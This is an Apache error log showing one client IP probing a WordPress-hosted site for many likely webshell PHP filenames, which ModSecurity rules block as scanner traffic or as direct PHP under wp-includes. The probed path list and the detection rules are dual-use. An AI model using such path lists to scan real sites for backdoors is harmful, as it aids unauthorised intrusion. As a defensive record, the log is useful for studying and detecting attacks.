[Fri Apr 24 21:57:41.924665 2026] [:error] [pid 14531:tid 14557] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/temp1.php
[Fri Apr 24 21:57:42.186819 2026] [:error] [pid 14531:tid 14533] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Apr 24 21:57:42.449113 2026] [:error] [pid 14531:tid 14543] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Fri Apr 24 21:57:42.744919 2026] [:error] [pid 14531:tid 14536] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Fri Apr 24 21:57:43.007530 2026] [:error] [pid 14531:tid 14551] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/bbny.php
[Fri Apr 24 21:57:43.429829 2026] [:error] [pid 14531:tid 14542] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/ggb.php
[Fri Apr 24 21:57:43.752761 2026] [:error] [pid 14531:tid 14548] [client 4.235.80.198:31556] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aet213fLU2gw-6KR-GbbGQAAAU8"]
[Fri Apr 24 21:57:47.460654 2026] [:error] [pid 4177:tid 4196] [client 4.235.80.198:56443] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aet2232asKnvdrSe0x47rAAAAYs"]
[Fri Apr 24 21:57:49.167361 2026] [:error] [pid 17720:tid 17777] [client 4.235.80.198:59908] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aet23ehlUs6BS3Ng7_XCMQAAANc"]
[Fri Apr 24 21:57:50.750560 2026] [:error] [pid 4177:tid 4198] [client 4.235.80.198:26396] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aet23n2asKnvdrSe0x47vAAAAY0"]
[Fri Apr 24 21:57:52.651854 2026] [:error] [pid 4177:tid 4188] [client 4.235.80.198:44299] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aet24H2asKnvdrSe0x47wQAAAYM"]
[Fri Apr 24 21:57:58.065951 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:39047] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aet25n2asKnvdrSe0x474QAAAZA"]
[Fri Apr 24 21:58:02.709021 2026] [:error] [pid 4177:tid 4191] [client 4.235.80.198:41899] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aet26n2asKnvdrSe0x47_wAAAYY"]
[Fri Apr 24 21:58:04.662007 2026] [:error] [pid 4177:tid 4206] [client 4.235.80.198:56050] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aet27H2asKnvdrSe0x48EgAAAZU"]
[Fri Apr 24 21:58:05.908326 2026] [:error] [pid 4177:tid 4192] [client 4.235.80.198:55779] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aet27X2asKnvdrSe0x48IAAAAYc"]
[Fri Apr 24 21:58:07.179103 2026] [:error] [pid 17720:tid 17756] [client 4.235.80.198:35576] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aet27-hlUs6BS3Ng7_XCaAAAAMI"]
[Fri Apr 24 21:58:08.259570 2026] [:error] [pid 17808:tid 17828] [client 4.235.80.198:56299] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aet28OarbOEFI8qshvJPcgAAAFI"]
[Fri Apr 24 21:58:10.069462 2026] [:error] [pid 4177:tid 4197] [client 4.235.80.198:62507] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aet28n2asKnvdrSe0x48OAAAAYw"]
[Fri Apr 24 21:58:10.989248 2026] [:error] [pid 4177:tid 4208] [client 4.235.80.198:49982] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lov.php"] [unique_id "aet28n2asKnvdrSe0x48PAAAAZc"]
[Fri Apr 24 21:58:11.798793 2026] [:error] [pid 17721:tid 17803] [client 4.235.80.198:62469] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lov.php"] [unique_id "aet28-FXXkLeyDnfk_9MXQAAABY"]
[Fri Apr 24 21:58:12.928958 2026] [:error] [pid 17721:tid 17794] [client 4.235.80.198:53658] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lov.php"] [unique_id "aet29OFXXkLeyDnfk_9MXwAAAA0"]
[Fri Apr 24 21:58:14.247574 2026] [:error] [pid 17719:tid 17750] [client 4.235.80.198:56039] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lov.php"] [unique_id "aet29sTZ9gzEyL1BkPq4zAAAAJc"]
[Fri Apr 24 21:58:15.271086 2026] [:error] [pid 4177:tid 4202] [client 4.235.80.198:44982] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aet2932asKnvdrSe0x48TQAAAZE"]
[Fri Apr 24 21:58:16.704427 2026] [:error] [pid 4177:tid 4209] [client 4.235.80.198:35463] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aet2-H2asKnvdrSe0x48VAAAAZg"]
[Fri Apr 24 21:58:20.694204 2026] [:error] [pid 17808:tid 17824] [client 4.235.80.198:35581] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aet2_OarbOEFI8qshvJPfAAAAE4"]
[Fri Apr 24 21:58:23.323815 2026] [:error] [pid 17719:tid 17744] [client 4.235.80.198:44967] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aet2_8TZ9gzEyL1BkPq40QAAAJE"]
[Fri Apr 24 21:58:24.454141 2026] [:error] [pid 4177:tid 4208] [client 4.235.80.198:38054] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aet3AH2asKnvdrSe0x48eQAAAZc"]
[Fri Apr 24 21:58:25.422551 2026] [:error] [pid 17721:tid 17784] [client 4.235.80.198:18082] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aet3AeFXXkLeyDnfk_9MYQAAAAM"]
[Fri Apr 24 21:58:26.393782 2026] [:error] [pid 4177:tid 4194] [client 4.235.80.198:20352] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aet3An2asKnvdrSe0x48gAAAAYk"]
[Fri Apr 24 21:58:27.987477 2026] [:error] [pid 17808:tid 17810] [client 4.235.80.198:62936] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aet3A-arbOEFI8qshvJPhAAAAEA"]
[Fri Apr 24 21:58:29.875130 2026] [:error] [pid 4177:tid 4195] [client 4.235.80.198:25971] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aet3BX2asKnvdrSe0x48kAAAAYo"]
[Fri Apr 24 21:58:30.603596 2026] [:error] [pid 17808:tid 17820] [client 4.235.80.198:21490] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aet3BuarbOEFI8qshvJPigAAAEo"]
[Fri Apr 24 21:58:31.924448 2026] [:error] [pid 17720:tid 17763] [client 4.235.80.198:38063] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aet3B-hlUs6BS3Ng7_XCyAAAAMk"]
[Fri Apr 24 21:58:34.181200 2026] [:error] [pid 4177:tid 4197] [client 4.235.80.198:19893] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "aet3Cn2asKnvdrSe0x48pAAAAYw"]
[Fri Apr 24 21:58:35.425978 2026] [:error] [pid 14531:tid 14550] [client 4.235.80.198:18108] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "aet3C3fLU2gw-6KR-GbbQgAAAVE"]
[Fri Apr 24 21:58:38.414514 2026] [:error] [pid 17719:tid 17729] [client 4.235.80.198:46451] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "aet3DsTZ9gzEyL1BkPq43gAAAII"]
[Fri Apr 24 21:58:42.605009 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:19556] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "aet3En2asKnvdrSe0x48zQAAAYg"]
[Fri Apr 24 21:58:59.730009 2026] [:error] [pid 14531:tid 14542] [client 4.235.80.198:32028] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-tiroto.php
[Fri Apr 24 21:59:00.024149 2026] [:error] [pid 14531:tid 14545] [client 4.235.80.198:32028] File does not exist: /usr/local/apache/htdocs/suspended-page/son.php
[Fri Apr 24 21:59:01.135728 2026] [:error] [pid 14531:tid 14545] [client 4.235.80.198:32028] File does not exist: /usr/local/apache/htdocs/suspended-page/99.php
[Fri Apr 24 21:59:01.494737 2026] [:error] [pid 14531:tid 14551] [client 4.235.80.198:32028] File does not exist: /usr/local/apache/htdocs/suspended-page/bal.php
[Fri Apr 24 21:59:01.862523 2026] [:error] [pid 14531:tid 14548] [client 4.235.80.198:32028] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Fri Apr 24 21:59:02.184226 2026] [:error] [pid 14531:tid 14549] [client 4.235.80.198:32028] File does not exist: /usr/local/apache/htdocs/suspended-page/ay.php
[Fri Apr 24 21:59:02.796769 2026] [:error] [pid 14531:tid 14542] [client 4.235.80.198:32028] File does not exist: /usr/local/apache/htdocs/suspended-page/options.php
[Fri Apr 24 21:59:03.358736 2026] [:error] [pid 14531:tid 14535] [client 4.235.80.198:32028] [client 4.235.80.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "aet3J3fLU2gw-6KR-GbbfgAAAUI"]
[Fri Apr 24 21:59:04.312983 2026] [:error] [pid 17808:tid 17826] [client 4.235.80.198:35007] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Fri Apr 24 21:59:05.652760 2026] [:error] [pid 17808:tid 17826] [client 4.235.80.198:35007] File does not exist: /usr/local/apache/htdocs/suspended-page/1a.php
[Fri Apr 24 21:59:06.065699 2026] [:error] [pid 17808:tid 17815] [client 4.235.80.198:35007] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Fri Apr 24 21:59:06.393023 2026] [:error] [pid 17808:tid 17821] [client 4.235.80.198:35007] File does not exist: /usr/local/apache/htdocs/suspended-page/file-kikikoko.php
[Fri Apr 24 21:59:06.759293 2026] [:error] [pid 17808:tid 17831] [client 4.235.80.198:35007] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aet3KuarbOEFI8qshvJQAgAAAFU"]
[Fri Apr 24 21:59:07.894324 2026] [:error] [pid 17720:tid 17769] [client 4.235.80.198:43668] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aet3K-hlUs6BS3Ng7_XDEAAAAM8"]
[Fri Apr 24 21:59:09.842806 2026] [:error] [pid 22114:tid 22135] [client 4.235.80.198:37508] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aet3LYAuWGz3WlMQjof4-gAAARI"]
[Fri Apr 24 21:59:11.226245 2026] [:error] [pid 17720:tid 17765] [client 4.235.80.198:1279] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aet3L-hlUs6BS3Ng7_XDFQAAAMs"]
[Fri Apr 24 21:59:14.948076 2026] [:error] [pid 17719:tid 17739] [client 4.235.80.198:33016] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aet3MsTZ9gzEyL1BkPq47wAAAIw"]
[Fri Apr 24 21:59:16.237696 2026] [:error] [pid 14531:tid 14556] [client 4.235.80.198:56990] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aet3NHfLU2gw-6KR-GbbgQAAAVc"]
[Fri Apr 24 21:59:17.291592 2026] [:error] [pid 17808:tid 17810] [client 4.235.80.198:42499] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aet3NearbOEFI8qshvJQEgAAAEA"]
[Fri Apr 24 21:59:18.015386 2026] [:error] [pid 17721:tid 17802] [client 4.235.80.198:41919] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aet3NuFXXkLeyDnfk_9MnQAAABU"]
[Fri Apr 24 21:59:18.991427 2026] [:error] [pid 17808:tid 17819] [client 4.235.80.198:2022] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aet3NuarbOEFI8qshvJQFAAAAEk"]
[Fri Apr 24 21:59:19.939703 2026] [:error] [pid 4177:tid 4192] [client 4.235.80.198:59463] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aet3N32asKnvdrSe0x489wAAAYc"]
[Fri Apr 24 21:59:20.836678 2026] [:error] [pid 17719:tid 17734] [client 4.235.80.198:25397] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aet3OMTZ9gzEyL1BkPq48wAAAIc"]
[Fri Apr 24 21:59:22.027893 2026] [:error] [pid 14531:tid 14542] [client 4.235.80.198:37081] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aet3OnfLU2gw-6KR-GbbiQAAAUk"]
[Fri Apr 24 21:59:22.985471 2026] [:error] [pid 17719:tid 17750] [client 4.235.80.198:59474] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "aet3OsTZ9gzEyL1BkPq49gAAAJc"]
[Fri Apr 24 21:59:25.726695 2026] [:error] [pid 17808:tid 17825] [client 4.235.80.198:37101] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "aet3PearbOEFI8qshvJQJwAAAE8"]
[Fri Apr 24 21:59:27.921623 2026] [:error] [pid 14531:tid 14539] [client 4.235.80.198:31038] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "aet3P3fLU2gw-6KR-GbbkwAAAUY"]
[Fri Apr 24 21:59:29.230823 2026] [:error] [pid 14531:tid 14556] [client 4.235.80.198:45658] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "aet3QXfLU2gw-6KR-GbbmAAAAVc"]
[Fri Apr 24 21:59:31.583809 2026] [:error] [pid 17719:tid 17743] [client 4.235.80.198:28937] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bpxrn.php"] [unique_id "aet3Q8TZ9gzEyL1BkPq5BwAAAJA"]
[Fri Apr 24 21:59:32.545855 2026] [:error] [pid 17720:tid 17755] [client 4.235.80.198:1450] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bpxrn.php"] [unique_id "aet3ROhlUs6BS3Ng7_XDJwAAAME"]
